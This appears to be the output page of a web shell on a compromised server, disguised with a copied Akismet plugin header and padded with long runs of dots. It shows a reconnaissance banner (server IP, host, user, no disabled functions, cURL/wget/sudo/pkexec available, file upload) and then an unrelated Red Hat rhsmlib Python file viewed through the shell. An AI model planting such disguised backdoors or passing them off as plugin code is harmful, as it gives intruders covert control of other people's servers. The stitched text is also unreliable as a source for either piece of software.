#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /lib64/python2.7/site-packages/rhsmlib/facts/ |
Upload File : |
from __future__ import print_function, division, absolute_import
# Copyright (c) 2016 Red Hat, Inc.
#
# This software is licensed to you under the GNU General Public License,
# version 2 (GPLv2). There is NO WARRANTY for this software, express or
# implied, including the implied warranties of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. You should have received a copy of GPLv2
# along with this software; if not, see
# http://www.gnu.org/licenses/old-licenses/gpl-2.0.txt.
#
# Red Hat trademarks are not licensed under GPLv2. No permission is
# granted to use or replicate Red Hat trademarks that are incorporated
# in this software or its documentation.
#
import logging
import os
import platform
from rhsmlib.facts import collection
log = logging.getLogger(__name__)
def get_arch(prefix=None):
"""Get the systems architecture.
This relies on portable means, like uname to determine
a high level system arch (ie, x86_64, ppx64,etc).
We need that so we can decide how to collect the
arch specific hardware information.
Also support a 'prefix' arg that allows us to override
the results. The contents of the '/prefix/arch' will
override the arch. The 'prefix' arg defaults to None,
equiv to '/'. This is intended only for test purposes.
Returns a string containing the arch."""
DEFAULT_PREFIX = '/'
ARCH_FILE_NAME = 'arch'
prefix = prefix or DEFAULT_PREFIX
if prefix == DEFAULT_PREFIX:
return platform.machine()
arch_file = os.path.join(prefix, ARCH_FILE_NAME)
try:
with open(arch_file, 'r') as arch_fd:
return arch_fd.read().strip()
except IOError as e:
# If we specify a prefix, and there is no 'arch' file,
# consider that fatal.
log.exception(e)
raise
# An empty FactsCollector should just return an empty dict on get_all()
class FactsCollector(object):
def __init__(self, arch=None, prefix=None, testing=None,
hardware_methods=None, collected_hw_info=None):
"""Base class for facts collecting classes.
self._collected_hw_info will reference the passed collected_hw_info
arg. When possible this should be a reference (or copy) to all of the facts
collected in this run. Some collection methods need to alter behavior
based on facts collector from other modules/classes.
self._collected_hw_info isn't meant to be altered as a side effect, but
no promises."""
self.allhw = {}
self.prefix = prefix or ''
self.testing = testing or False
self._collected_hw_info = collected_hw_info
# we need this so we can decide which of the
# arch specific code bases to follow
self.arch = arch or get_arch(prefix=self.prefix)
self.hardware_methods = hardware_methods or []
def collect(self):
"""Return a FactsCollection iterable."""
facts_dict = collection.FactsDict()
facts_dict.update(self.get_all())
facts_collection = collection.FactsCollection(facts_dict=facts_dict)
return facts_collection
def get_all(self):
# try each hardware method, and try/except around, since
# these tend to be fragile
all_hw_info = {}
for hardware_method in self.hardware_methods:
info_dict = {}
try:
info_dict = hardware_method()
except Exception as e:
log.warn("Hardware detection [%s] failed: %s" % (hardware_method.__name__, e))
all_hw_info.update(info_dict)
return all_hw_info
class StaticFactsCollector(FactsCollector):
def __init__(self, static_facts=None, **kwargs):
super(FactsCollector, self).__init__(**kwargs)
if static_facts is None:
static_facts = {}
self.static_facts = static_facts
self.static_facts.setdefault("system.certificate_version", "3.2")
def get_all(self):
return self.static_facts